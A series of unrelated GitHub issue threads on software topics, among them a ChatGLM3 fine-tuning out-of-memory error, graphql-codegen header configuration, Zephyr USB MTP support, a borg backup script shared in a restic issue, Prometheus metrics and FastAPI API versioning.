/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/utils/checkpoint.py:429: UserWarning: torch.utils.checkpoint: please pass in use_reentrant=True or use_reentrant=False explicitly. The default value of use_reentrant will be updated to be False in the future. To maintain current behavior, pass use_reentrant=True. It is recommended that you use use_reentrant=False. Refer to docs for more details on the differences between the two variants.
warnings.warn(
/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/utils/checkpoint.py:429: UserWarning: torch.utils.checkpoint: please pass in use_reentrant=True or use_reentrant=False explicitly. The default value of use_reentrant will be updated to be False in the future. To maintain current behavior, pass use_reentrant=True. It is recommended that you use use_reentrant=False. Refer to docs for more details on the differences between the two variants.
warnings.warn(
Traceback (most recent call last):
File "/jcdata/workspace/ChatGLM3/finetune_demo_yuqing/finetune.py", line 165, in
main()
File "/jcdata/workspace/ChatGLM3/finetune_demo_yuqing/finetune.py", line 160, in main
trainer.train(resume_from_checkpoint=checkpoint)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/trainer.py", line 1645, in train
return inner_training_loop(
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/trainer.py", line 1938, in _inner_training_loop
tr_loss_step = self.training_step(model, inputs)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/trainer.py", line 2770, in training_step
Traceback (most recent call last):
File "/jcdata/workspace/ChatGLM3/finetune_demo_yuqing/finetune.py", line 165, in
self.accelerator.backward(loss)
main()  File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/accelerate/accelerator.py", line 1989, in backward
File "/jcdata/workspace/ChatGLM3/finetune_demo_yuqing/finetune.py", line 160, in main
trainer.train(resume_from_checkpoint=checkpoint)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/trainer.py", line 1645, in train
loss.backward(**kwargs)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/_tensor.py", line 492, in backward
return inner_training_loop(
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/trainer.py", line 1938, in _inner_training_loop
torch.autograd.backward(
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/autograd/init.py", line 251, in backward
Variable._execution_engine.run_backward(  # Calls into the C++ engine to run the backward pass
torch.cuda.OutOfMemoryError: CUDA out of memory. Tried to allocate 508.00 MiB. GPU 0 has a total capacty of 14.62 GiB of which 295.38 MiB is free. Including non-PyTorch memory, this process has 14.32 GiB memory in use. Of the allocated memory 13.20 GiB is allocated by PyTorch, and 350.86 MiB is reserved by PyTorch but unallocated. If reserved but unallocated memory is large try setting max_split_size_mb to avoid fragmentation.  See documentation for Memory Management and PYTORCH_CUDA_ALLOC_CONF
tr_loss_step = self.training_step(model, inputs)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/trainer.py", line 2770, in training_step
self.accelerator.backward(loss)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/accelerate/accelerator.py", line 1989, in backward
loss.backward(**kwargs)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/_tensor.py", line 492, in backward
torch.autograd.backward(
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/autograd/init.py", line 251, in backward
Variable._execution_engine.run_backward(  # Calls into the C++ engine to run the backward pass
torch.cuda.OutOfMemoryError: CUDA out of memory. Tried to allocate 508.00 MiB. GPU 1 has a total capacty of 14.62 GiB of which 295.38 MiB is free. Including non-PyTorch memory, this process has 14.32 GiB memory in use. Of the allocated memory 13.20 GiB is allocated by PyTorch, and 350.86 MiB is reserved by PyTorch but unallocated. If reserved but unallocated memory is large try setting max_split_size_mb to avoid fragmentation.  See documentation for Memory Management and PYTORCH_CUDA_ALLOC_CONF
0%|          | 0/3000 [00:02<?, ?it/s]
[2023-11-22 16:24:40,417] torch.distributed.elastic.multiprocessing.api: [WARNING] Sending process 5055 closing signal SIGTERM
[2023-11-22 16:24:40,631] torch.distributed.elastic.multiprocessing.api: [ERROR] failed (exitcode: 1) local_rank: 0 (pid: 5054) of binary: /root/anaconda3/envs/chatglm3-demo/bin/python
Traceback (most recent call last):
File "/root/anaconda3/envs/chatglm3-demo/bin/torchrun", line 8, in
sys.exit(main())
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/distributed/elastic/multiprocessing/errors/init.py", line 346, in wrapper
return f(*args, **kwargs)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/distributed/run.py", line 806, in main
run(args)
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/distributed/run.py", line 797, in run
elastic_launch(
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/distributed/launcher/api.py", line 134, in call
return launch_agent(self._config, self._entrypoint, list(args))
File "/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/torch/distributed/launcher/api.py", line 264, in launch_agent
raise ChildFailedError(
torch.distributed.elastic.multiprocessing.errors.ChildFailedError:
finetune.py FAILED
Failures:
<NO_OTHER_FAILURES>
Root Cause (first observed failure):
[0]:
time      : 2023-11-22_16:24:40
host      : localhost.localdomain
rank      : 0 (local_rank: 0)
exitcode  : 1 (pid: 5054)
error_file: <N/A>
traceback : To enable traceback see: https://pytorch.org/docs/stable/elastic/errors.html
Expected behavior / 期待表现
不知根据官网的参数需要多少显存可以进行微调，或者说我可以尝试调整哪些参数来调整，以此可以运行微调脚本

或者说最低需要多少显存可以进行微调啊？

官网的参数是基于A100的，FP16的话T4你调不了应该，载入模型就饱和了？

@zRzRzRzRzRzRzR 是的，加载模型就gg了，那最低多少显存可以微调，我是两张T4的提示显存不够

你试试
···
PRE_SEQ_LEN=128
NUM_GPUS=1
MAX_SOURCE_LEN=1024
MAX_TARGET_LEN=128
DEV_BATCH_SIZE=1
GRAD_ACCUMULARION_STEPS=1
MAX_STEP=1000
SAVE_INTERVAL=500
···
在不行就没办法了

官网的参数是基于A100的，调试的设备是8卡A100，FP16的话T4卡只有16G显存这套参数你调不了应该，载入模型后就没有多少显存了

请问下p-tuning是不是对应的学习率需要按照显卡数以及batchsize倍率降低呢？

官网的参数是基于A100的，调试的设备是8卡A100，FP16的话T4卡只有16G显存这套参数你调不了应该，载入模型后就没有多少显存了

请问下p-tuning是不是对应的学习率需要按照显卡数以及batchsize倍率降低呢？

在使用多个 GPU 或进行分布式训练时等多个因素导致增加批次大小batch size事，常见的做法是随着批次大小的增加而增加学习率。如果批次大小增加了 N 倍，那么学习率也增加 N 倍。

更多微调问题可以在 #253 中提出，本issue关闭，感谢支持


Document handling rejected updateComplete promise

When https://github.com/Polymer/lit-element/pull/607 is merged, the updateComplete promise will be able to be rejected. We need to add documentation explaining that these exceptions need to be handled in any code that awaits the updateComplete promise. This might go in the promises section of the lifecycle.

This appears to still be an issue on lit.dev as we do not have docs about how to handle errors that occur during updates.


Update Document How To Use Headers in .yml file

Describe the bug

To Reproduce
Steps to reproduce the behavior:

Example codegen.yml config file:

schema:
  - "http://localhost:4000":
      headers:
      Authorization: "Bearer [KEY]"
generates:
  ./src/app/graphql/generated/gql-gen-schema.json:
    plugins:
      - "introspection"

Expected behavior
Headers are parsed and passed.
Additional context
This example is not correct.   Headers need to be an object or array.
This works:
schema:
  - "http://localhost:4000":
      headers: {Authorization: "Bearer [KEY]"}
generates:
  ./src/app/graphql/generated/gql-gen-schema.json:
    plugins:
      - "introspection"

Please update docs.
Thanks,

Also it would be really great to see an example of how to use this in a the programmatic API. Bearer token key's in our case will change very often, so we programmaticaly retrieve them, and need to feed them into the codegen function (https://graphql-code-generator.com/docs/getting-started/programmatic-usage). How to do that, would be a great thing to include in the docs!

@jcmoore0 The example in https://graphql-code-generator.com/docs/getting-started/schema-field#url is valid, just make sure you file indentation is valid (because i effects yml files).
You example has missing spaces before Authorization.
@KyleMcNutt The programatic usage accepts GraphQLSchema as an input, so it has anything to do with headers.
You can use loadSchema from graphql-toolkit in order to load your schema from a url (and pass headers).

@dotansimha Then the docs should be updated to make that more clear. As is, I assumed the schema field in the programmatic API would take any of the same params as the schema prop in the YAML file.

So far with every example I've tried I can't get the headers to work. Who has this working that can share their yaml file?

@swillis12 can you please share your codegen.yml file? It's tricky because you need to verify your whitespaces in YAML files.

Is there anyway to pass the Authorization key from command line?

You can use env variables @kuncevic

You can use env variables @kuncevic
can you elaborate more on that?
and here is more input - I have npm script:

”gql:introspect": "npm run generate -- --config projects/shared-library/src/lib/graphql/config/introspect.yml”

my introspect.yml contain an Authorization token
Authorization: "Bearer xyz..."
So, I want somehow to pass that token trough the npm script instead having that hard coded in my  introspect.yml file

I mean combining these two;
https://graphql-code-generator.com/docs/getting-started/codegen-config#environment-variables
and
https://graphql-code-generator.com/docs/getting-started/schema-field#url
schema:
  - "http://localhost:4000":
      headers:
      Authorization: "Bearer ${AUTH_TOKEN}"

So you can pass authentication token using env variables like;
AUTH_TOKEN=... graphql-codegen ...

@ardatan great, thanks for your help!

Also it would be really great to see an example of how to use this in a the programmatic API. Bearer token key's in our case will change very often, so we programmaticaly retrieve them, and need to feed them into the codegen function (https://graphql-code-generator.com/docs/getting-started/programmatic-usage). How to do that, would be a great thing to include in the docs!

I'm using this to add some dynamic headers to the context when using the Mesh SDK programmatically.
Let's say I have a handler with operationHeaders like so:
 - name: WhateverYouCallThis
    handler:
      graphql:
        endpoint: '{env.ENDPOINT_URL}'
        operationHeaders:
          # Please do not use capital letters while getting the headers
          # Use "{context.headers['x-my-api-token']}" if you want just the value of the header
          "userToken": "{context.headers['authorization']}"

To add that 'authorization' header to the context via the generated SDK, I used:
  const sdk = getMeshSDK({
    headers: {
      // the context of this sdk call is from an api with a query param named token
      authorization: req.query['token'],
    },
  });

So if I hit the api route like this for example: http://localhost:3000/api?token=blah
the context.headers['authorization'] in the call to the WhateverYouCallThis handler would be blah


Test against npm@7

In theory this package should work exactly the same under npm as it does under yarn. We do not currently shell out to yarn at all, we use npm publish to actually publish each package already:
https://github.com/rwjblue/release-it-yarn-workspaces/blob/4480e0bab42b3aab35539bc1e9ee2d3fdc80fec1/index.js#L405

I don't even know what there would be to test, because all this cares about is that you have a workspaces setup in your project. It looks as though workspaces support in npm 7 works the same as yarn, so I believe this should 'just work'.


Custom build for development

In a dev environment, building, compressing, concatenating, adding comment, etc.. for each changes is not optimal. Especially if semantic-ui is only a part of a wider system. There should be a way to choose to build/watch only for local development purpose.

Precompiled Dist/ files are always available to use directly. Build/compile/watch is available only if theming is necessary.

Thx for your answer.
Unfortunately we can't really use the precompiled files in dist/. For our team, semantic is just a part of a wider system. Therefore we can't just use a packaged theme and we need to make adjustment for every components. So we are using the variable and override files to custom our theme. And this is working great for us because we just have to change few things to make it compliant to the graphic project. But building the whole packaged (maven build) the target folder is cleaned first and then we need to build every part of the system, so semantic as well. When working on the front end, it would be nice to have an optimized build that would just build what we need to see the changes.
We have made this custom build and are looking forward what do you think about it.

Use semantic-ui-less repo, that just has the source less files. There's lots of options here


Support the USB MTP feature.

MTP (Media Transfer Protocol) is indeed a protocol designed for transferring media files between devices, and it does offer some advantages over MSC (Mass Storage Class).
Having MTP support in the Zephyr USB device class could be useful for those who want to transfer media files between devices.

MTP support would be great.
It would enable us to native access our LittleFS flash from Windows Computers.

Hello, is there any progress on this issue? Is it in the works? I would greatly appreciate a ballpark figure of when it might be available. Reason is that we need this feature in a product, and we are debating if it makes sense to implement it at the application level, or wait for it to become a part of Zephyr. If it becomes a part of Zephyr in, say, 4 months, it would make sense for us to wait.

@pnchatterji I don't think anybody is working on it, otherwise there would be something linked here. I would love this, but I don't think it's available right now.

Is there a way to bump/bounty this?

I would like to share an update here about USB MTP Class, I have implemented the read path (Enumerate/Copy/Read) Files/folders , tested on Windows 10.
I'm working now to implement write path features, initially just paste a file to a device then may be DELETE_OBJECT command then i will open a PR and call for testers.
Initially i can test on Windows and Linux, but don't have a mac machine to test it.

I would like to share an update here about USB MTP Class, I have implemented the read path (Enumerate/Copy/Read) Files/folders , tested on Windows 10.
I'm working now to implement write path features, initially just paste a file to a device then may be DELETE_OBJECT command then i will open a PR and call for testers.
Initially i can test on Windows and Linux, but don't have a mac machine to test it.
My aim is to work mainly on file transfer, skipping all media related features like (Capture, media playback, photo import, etc.). I may share later which exact features are supported.

That is great news! How are the memory requirements for it?

I would like to share an update here about USB MTP Class, I have implemented the read path (Enumerate/Copy/Read) Files/folders , tested on Windows 10.
I'm working now to implement write path features, initially just paste a file to a device then may be DELETE_OBJECT command then i will open a PR and call for testers.
Initially i can test on Windows and Linux, but don't have a mac machine to test it.
My aim is to work mainly on file transfer, skipping all media related features like (Capture, media playback, photo import, etc.). I may share later which exact features are supported.

That is great news! How are the memory requirements for it?

didn't calculate it yet, but i'm aiming to have like a minimal version of MTP sufficient for file transfer, sometimes i face trade offs CPU Cycles vs RAM usage.
Anyway, could you please tell me what is your target storage (RAM/flash) specs  ? or how much space would be suitable for your project.
The goal here is to check if i can aim for a reasonable space goal during development.
Till now the most thing I need to optimize is handles management for files/folders.
I will post here the memory usage when i get back to my desk.

For our specific project, we have about 50MB of storage and about 50KB of RAM left for usb related stuff. I know that's very tight, that's why I ask :D

And yes, absolutely only the file transfer part is necessary for us. Existing internal littlefs to USB host. And as an alternative to FAT block device, which requires annoying synchronization between host and device and does not have the advantages of littlefs

Memory usage now is quite high I would say:
Flash usage: ~27KB
RAM usage: ~22KB
but since I'm still not in optimization phase.

Any chance this will be backportable to 3.7? Or do you use new features?

@ExtremeGTX Any news?

Was on a business trip.
I don't think i'm using anything special from post v3.7 features, it is mainly usb device_next and net_buf

Sharing progress of MTP

MTP is only supportd in device_next stack.

Supported commands:

[x] GET_DEVICE_INFO
[x] OPEN_SESSION
[x] CLOSE_SESSION
[x] GET_STORAGE_IDS
[x] GET_STORAGE_INFO
[x] GET_OBJECT_HANDLES
[x] GET_OBJECT_INFO
[x] GET_OBJECT
[x] DELETE_OBJECT
[x] SEND_OBJECT_INFO
[x] SEND_OBJECT
[ ] MOVE_OBJECT (WIP): Allow moving a file within the device without dependency on the host.
[ ] COPY_OBJECT (WIP): Allow copying a file within the device without dependency on the host.

The implemented commands allows the following operations:

Storage(s) Enumeration
Read/Copy from device
Write to device
Delete files

MTP access is enabled by adding mtp-enabled property to a fstab node:
fstab {
        compatible = "zephyr,fstab";
        lfs1: lfs1 {
                compatible = "zephyr,fstab,littlefs";
                ...
                mtp-enabled;
        };
}

For memory constrained devices, they can :

Enable only USB Full speed which will reduce needed buffers size from
(High-speed: 3x 512B) to (Full-speed: 3x 64B)
Reduce Object Handles database size by allowing smaller number of objects to be accessed over MTP

Screenshot from Windows 10

Any draft PR we can already look at?

Any draft PR we can already look at?

https://github.com/ExtremeGTX/zephyr/tree/feature/usb_mtp apparently :)


Have example scripts for backups

I see config request ticked being opened for years that would solve my need, #16 #288
ok fine..
but you must use restic and must have some backup scripts
so share some simple setup showcasing the best practices
why not have directory "example scripts" here on github, or actually make use of the script section in documentation...
instead I am hunting for them on the internet like an animal

@DoTheEvo It's not great when you don't take the time to fill out the issue template or use the forum instead as instructed when you opened the issue.
There's already a place for what you're asking about, it's the Recipes category in the forum. This is where people share their setups, scripts, etc.

I am not asking for the answer.
I am suggesting what to do to make the project better, by being more easily approachable and more easy to try on actual systems by plugging stuff in to variables in to script without any commitment code like config would do.
There is a reason why readme.md and the documentation start with quick start.
But no one actually stops at
restic init --repo /tmp/backup
restic --repo /tmp/backup backup ~/work
IMO it does not take much effort to take it step further with also few quick script setups.
And lets not forget that if there were example scripts, they would likely navigate people to use restic the correct way not everyone free styling based on whichever part of documentation they read. Might cut down on some issue reports.

@DoTheEvo Thanks, I understand you're input is given with the intent to help and improve. I appreciate that, even if it didn't sound like it earlier.
I realize that there is actually an Examples section in the documentation. If currently doesn't have more than a couple of examples, and it does somewhat overlap with the Recipes section in the forum. We could probably improve this situation a bit.
Let me ask you; What, more specifically, is it that you think is missing in terms of examples or "getting started" examples in the documentation? Can you elaborate on what you were initially opening this issue for, so I can better understand your suggestion?
In general I'm thinking that the Recipes section in the forum is something which is open to everyone to add their recipes for, and those examples there that are so common that they warrant being more official, we can copy into the Examples in the official documentation.

Examples section seems very well done... when doing amazon S3. But its specific to that one or two cases as far as my quick glance show.
Restic IMO would benefit from 1-3 relatively simple but robust example scripts for backing up stuff automatically. Something to build on when people look at the project and see that indeed it is very interesting and want to go further than just manually creating repo and manually do one backup...
Here is my borg backup script where to anyone is obvious whats what and what to change to plug own values... something similar for restic would not hurt
borg_backup.sh

#!/bin/bash

# INITIALIZE THE REPO WITH THE COMMAND:
#   borg init --encryption=none /mnt/C1/backup_borg/
# THEN RUN THIS SCRIPT

# -----------------------------------------------

BACKUP_THIS='/home/spravca/docker /etc'
REPOSITORY='/home/spravca/borg_backup/docker_backup'
LOGFILE='/home/spravca/borg_backup/borg_backup.log'

# -----------------------------------------------

NOW=$(date +"%Y-%m-%d | %H:%M | ")
echo "$NOW Starting Backup and Prune" >> $LOGFILE

# CREATES NEW ARCHIVE IN PRESET REPOSITORY

borg create                                     \
    $REPOSITORY::'{now:%s}'                     \
    $BACKUP_THIS                                \
                                                \
    --compression zstd                          \
    --one-file-system                           \
    --exclude-caches                            \
    --exclude-if-present '.nobackup'            \
    --exclude '/home/*/Downloads/'              \

# DELETES ARCHIVES NOT FITTING KEEP RULES

borg prune -v --list $REPOSITORY                \
    --keep-daily=7                              \
    --keep-weekly=4                             \
    --keep-monthly=6                            \
    --keep-yearly=0                             \

echo "$NOW Done" >> $LOGFILE
borg list $REPOSITORY >> $LOGFILE
echo '------------------------------' >> $LOGFILE

# --- USEFULL SHIT ---

# setup above ignores directories containing '.nobackup' file
# make it imutable using chattr to prevent accidental removal
#   touch .nobackup
#   chattr +i .nobackup

# in the repo folder, to list available backups:
#   borg list .
# to mount one of them:
#   borg mount .::1584472836 ~/temp
# to umount:
#   borg umount ~/temp
# to delete single backup in a repo:
#   borg delete .::2016-04-25

Okay, I see what you mean is the primary "next step" you'd like better information about. I will see what we can do about that.


Issue with check on Android

Cordova version 6.4.0
Cordova platform<EMAIL_ADDRESS>cordova-printer-plugin 0.7.3
Android versions 4.4.2 and  5.1
I have noticed that the avail value is blank in the callback function passed to check(), on editing the underlying code I see that this seems to be related to returning a list array of PluginResult.
If I change Printer.java to use
command.sendPluginResult(res1);
rather than
command.sendPluginResult(res);
i.e. send a single plugin result rather than an array the avail parameter is set as expected in the callback function albeit there is no count parameter.
Thanks for the work on an excellent plugin.

This is also happening for me.


Does not load for some VCF files

Reported by a user in the Discord server
[Error] Unhandled Promise Rejection: TypeError: Map.groupBy is not a function. (In 'Map.groupBy(_,(T,g)=>T.phenotype)', 'Map.groupBy' is undefined)
    (anonymous function) (3.CO9vFWlI.js:24:5103)

It seems like the cause was an outdated version of Safari. Closing.


Huoviala2020 FAFB paper

https://www.biorxiv.org/content/10.1101/394403v2.full
doi:10.1101/394403

'New' LH types may have been renamed since writing (during nomenclature harmonisation between FAFB and hemibrain), so not adding PV1j1 and PV4c7 at this stage. Can be added if they are still referred to by these names in catmaid export/full publication.


Update bug report template for system information details

Description
Update the bug report template to include all the system information details.
Issues
List the issues impacted by this PR:

Issue ID

#66

Checklist:

[ ] I have performed a self-review of my own code
[ ] I have run 'make check' to ensure my code does not have any formatting, vetting, linting, or security issues
[ ] I have run 'make test' to ensure new and existing unit tests pass locally with my changes
[ ] I have not allowed coverage numbers to degrade
[ ] I have maintained at least 90% code coverage
[ ] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[ ] I have added tests that prove my fix is effective or that my feature works

How Has This Been Tested?
Please describe the tests that you ran to verify your changes. Please also list any relevant details for your test configuration
N/A

e2e pass


print test results

Script for printing test results.

@jeenbroekstra thought i would have the github ci print a report at the end if there are test failures. What do you think?

@hmottestad should we just merge what you've got and see about the remarks for improvement in a followup? I'm rather interested to see this in action :)


Getting WARNING on ltc target

I'm running latest 0.6.0 release and getting WARNING message whenever I execute a target command. I believe my ltc command is the latest and I even did ltc sync.
$ ltc -v
ltc version v0.6.0-34-g32acfa9 (diego 0.1434.0)
$ ltc sync
Updated ltc to the latest version.
$ ltc target local.lattice.cf
WARNING: local ltc version (v0.6.0-34-g32acfa9) does not match target expected version.
Run `ltc sync` to replace your local ltc command-line tool with your target cluster's expected version.
API location set.

Thanks for reporting this. The fix will be included in the next release, but you can download the latest nightly build to get it now.

Closing issue.  This fix is available in our nightlies and will land in v0.7.0, expected shortly.
Thanks again!
David


Add monitoring of catalog-rebuilder website

We should add monitoring of https://catalog-rebuilder.s-enda*.k8s.met.no/status /admin /dmci

There are multiple ways to do this.
The simplest one, is to set up Prometheus to use HTTP probe to check if /status and /dmci endpoints respond with HTTP code 200OK. This will be on the Prometheus side, hence no need to add changes to catalog-rebuilder.
Another solution is to implement a /health -endpoint in catalog-rebuilder, which gives a Prometheus compatible page with the catalog integrity status as well as # of files in rejected and workdir folders.
Then it would be possible to add alerts for certain conditions. This is probably the best solution for the future, but involves a little bit of implentation in catalog-rebuilder. Not to much since most of the logic are there already.

Added /metrics prometheus endpoint for catalog rebuilder. https://catalog-rebuilder.s-enda-dev.k8s.met.no/metrics
Now the following is exposed:
# HELP archive_files Total number of mmd files in archive repository
# TYPE archive_files counter
archive_files 123390
# HELP csw_records Total number of records files in csw database
# TYPE csw_records counter
csw_records 123388
# HELP solr_docs Total number of documents in solr index
# TYPE solr_docs counter
solr_docs 123388
# HELP rejected_files Total number of mmd files rejected by dmci
# TYPE rejected_files counter
rejected_files 0
# HELP workdir_files Total number of mmd files in distributor cache
# TYPE workdir_files counter
workdir_files 0
# HELP parent_uuid_list Total number of parent identifiers in parent-uuid-list.xml
# TYPE parent_uuid_list counter
parent_uuid_list 18
# HELP csw_parent_count Total number of parents registered in csw
# TYPE csw_parent_count counter
csw_parent_count 15
# HELP csw_distinct_parent_ids Total number of distinct parent identifiers in csw
# TYPE csw_distinct_parent_ids counter
csw_distinct_parent_ids 15
# HELP solr_parent_count Total number of parents registered in solr
# TYPE solr_parent_count counter
solr_parent_count 15
# HELP solr_parent_unique Total number of unique parent identifiers in solr
# TYPE solr_parent_unique counter
solr_parent_unique 15
# HELP dmci_disk_usage_total Total disk space in bytes dmci-data
# TYPE dmci_disk_usage_total gauge
dmci_disk_usage_total<PHONE_NUMBER>8
# HELP dmci_disk_usage_used Used disk space in bytes dmci-data
# TYPE dmci_disk_usage_used gauge
dmci_disk_usage_used<PHONE_NUMBER>
# HELP dmci_disk_usage_free Free disk space in bytes dmci-data
# TYPE dmci_disk_usage_free gauge
dmci_disk_usage_free<PHONE_NUMBER>

So then we can make prometheus rules for alerts if the catalog differ or rejected files grows to much. Also monitoring the disk usage of the dmci PVC.
Consider this as closed.

great!! so which rules should I add for these metrics?
something about the rejected_files number being  > than a given threshold (which?), and then what do you mean by "if the catalog differ"?
the pvc usage is already monitored for all the pods via a rule for a standard k8s metrics

👍 thanks, will work on it

I see that the metrics are duplicated, like, each query gives a double result one with cluster_node and one without
see for example https://prometheus-fou-b.met.no/fou-prom/graph?g0.expr=solr_docs{job%3D~"s-enda-dev%2Fcatalog-rebuilder-flask"}&g0.tab=1&g0.stacked=0&g0.show_exemplars=0&g0.range_input=1h
are they equivalent? is it ok if I pick only one of the two e.g. https://prometheus-fou-b.met.no/fou-prom/graph?g0.expr=solr_docs{job%3D~"s-enda-dev%2Fcatalog-rebuilder-flask"%2C cluster_node%3D~".%2B"}&g0.tab=1&g0.stacked=0&g0.show_exemplars=0&g0.range_input=1h?

I do not know why the metrics are duplicated, but to use one of the two, should be ok.


[QUESTION] recommended way to do API versioning

Description
Is there a recommended way to do API versioning. I know I could use APIRouter and keep all the files for a version in separate subdirectories but that doesn't seem very DRY.
Is there a way to say "version 1.1 looks just like version 1.0 except in these certain cases"? And save APIRouter for major version changes or rewrites?

Stripe is a company that I think has figured out a great middleground regarding API versioning - a great writeup on it is https://stripe.com/en-ca/blog/api-versioning.
I wonder how feasible/easy this is to accomplish with FastAPI? I'm not currently a FastAPI user, but am eying it for a future project, and API versioning is a big question I have with it. Would love to hear other answers/if the Stripe approach is feasible with FastAPI.

Hello, I think this is the same question as in
https://github.com/tiangolo/fastapi/issues/200
Le mar. 20 août 2019 à 11:51 PM, James Addison<EMAIL_ADDRESS>a
écrit :

Stripe is a company that I think has figured out a great middleground
regarding API versioning - a great writeup on it is
https://stripe.com/en-ca/blog/api-versioning.
I wonder how feasible/easy this is to accomplish with FastAPI? I'm not
currently a FastAPI user, but am eying it for a future project, and API
versioning is a big question I have with it. Would love to hear other
answers/if the Stripe approach is feasible with FastAPI.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/tiangolo/fastapi/issues/381?email_source=notifications&email_token=AAINSPUPX2J4W7FLLCXZWKDQFRRNLA5CNFSM4IBI3LEKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD4XYU5Y#issuecomment-523209335,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAINSPTN5OBK32UU4YKJDETQFRRNLANCNFSM4IBI3LEA
.

I've implemented something along the lines of what @dmontagu suggested in this comment: https://github.com/tiangolo/fastapi/issues/200#issuecomment-525126712
it's up on pypi here: https://pypi.org/project/fastapi-versioning/
a more realistic example of it can be found here: https://github.com/DeanWay/fastapi-versioning/tree/master/example
The idea is that each version registered at some point in the app becomes a sub-application mounted at /v{major}_{minor}
each version builds upon the previous, and overrides matching paths.
The parent app's docs endpoint just lists the versions
The reason for using sub-applications is to separate the openapi.json and docs of each version (kind of a surprise for me that there's nothing in the openapi spec to handle for mulitple api versions in one document)
I'd like to allow for version headers as well, but I think you still need the url version for openapi to make sense, so maybe some sort of redirection middleware? Might be a terrible idea, not sure yet.
Anyway, might be helpful, take a look, let me know what you think!

I've implemented something along the lines of what @dmontagu suggested in this comment: #200 (comment)
it's up on pypi here: https://pypi.org/project/fastapi-versioning/
a more realistic example of it can be found here: https://github.com/DeanWay/fastapi-versioning/tree/master/example
The idea is that each version registered at some point in the app becomes a sub-application mounted at /v{major}_{minor}
each version builds upon the previous, and overrides matching paths.
The parent app's docs endpoint just lists the versions
The reason for using sub-applications is to separate the openapi.json and docs of each version (kind of a surprise for me that there's nothing in the openapi spec to handle for mulitple api versions in one document)
I'd like to allow for version headers as well, but I think you still need the url version for openapi to make sense, so maybe some sort of redirection middleware? Might be a terrible idea, not sure yet.
Anyway, might be helpful, take a look, let me know what you think!

Looks good but I think needed version for routers :) Like:
from fastapi_versioning import VersionedAPIRouter

router = VersionAPIRouter(router, version=(1, 0))

If you want completely different API docs (Swagger UI) you could create multiple FastAPI apps, make them all import and include the same routers in several places and import others specific to one app (or version).
If you want to have different versions in the same API, like http://localhost:8000/api/v1/users and http://localhost:8000/api/v2/users, in recent versions of FastAPI you can include a router more than once with a different path prefix.
If you want to include only some of the endpoints, you could create an APIRouter that includes another router (that creates a copy of all the routes). And then remove the routes that you don't want it to have.

Hello @tiangolo,

If you want to have different versions in the same API, like http://localhost:8000/api/v1/users and http://localhost:8000/api/v2/users, in recent versions of FastAPI you can include a router more than once with a different path prefix.

With this choice, is it possible to have a generated doc that separates v1 endpoints from v2 endpoints. So far, it seems they're going to be grouped by tags, e.g. "users" and in that group I will have both /v1/users and /v2/users documented.

I've implemented something along the lines of what @dmontagu suggested in this comment: #200 (comment)
it's up on pypi here: https://pypi.org/project/fastapi-versioning/
a more realistic example of it can be found here: https://github.com/DeanWay/fastapi-versioning/tree/master/example
The idea is that each version registered at some point in the app becomes a sub-application mounted at /v{major}_{minor}
each version builds upon the previous, and overrides matching paths.
The parent app's docs endpoint just lists the versions
The reason for using sub-applications is to separate the openapi.json and docs of each version (kind of a surprise for me that there's nothing in the openapi spec to handle for mulitple api versions in one document)
I'd like to allow for version headers as well, but I think you still need the url version for openapi to make sense, so maybe some sort of redirection middleware? Might be a terrible idea, not sure yet.
Anyway, might be helpful, take a look, let me know what you think!

Looks good but I think needed version for routers :) Like:
from fastapi_versioning import VersionedAPIRouter

router = VersionAPIRouter(router, version=(1, 0))

I had a similar need as well. A quick way to achieve that will be to extend the APIRouter class from FastAPI to patch the route_class attribute and include_router method to add the versioning attribute to each route.
from typing import Any, Type

from fastapi.routing import APIRouter
from fastapi_versioning import VersionedFastAPI, versioned_api_route

class VersionedAPIRouter(APIRouter):
    def __init__(self, major: int = 1, minor: int = 0, *args: Any, **kwargs: Any) -> None:
        versioned_route_class = versioned_api_route(major, minor)
        super().__init__(*args, **kwargs, route_class=versioned_route_class)
        self.major = major
        self.minor = minor

    def include_router(self, *args, **kwargs):
        super().include_router(*args, **kwargs)
        for route in self.routes:
            try:
                route.endpoint._api_version = (self.major, self.minor)
            except AttributeError:
                # Support bound methods
                route.endpoint.__func__._api_version = (self.major, self.minor)

Here is an example -

router = APIRouter()
@router.get("/")
def a():
    return True

router_v1 = VersionedAPIRouter(1, 0)
router_v1.include_router(router)

router_v2 = VersionedAPIRouter(2, 0)
@router_v2.get("/cool_route")
def cool_route():
    return "wasssuppp"

from fastapi import FastAPI

app = FastAPI()

app.include_router(router_v2)
app.include_router(router_v1)

app = VersionedFastAPI(
    app,
    version_format="{major}",
    prefix_format="/v{major}",
    enable_latest=True,
)

Hello @tiangolo,

If you want to have different versions in the same API, like http://localhost:8000/api/v1/users and http://localhost:8000/api/v2/users, in recent versions of FastAPI you can include a router more than once with a different path prefix.

With this choice, is it possible to have a generated doc that separates v1 endpoints from v2 endpoints. So far, it seems they're going to be grouped by tags, e.g. "users" and in that group I will have both /v1/users and /v2/users documented.

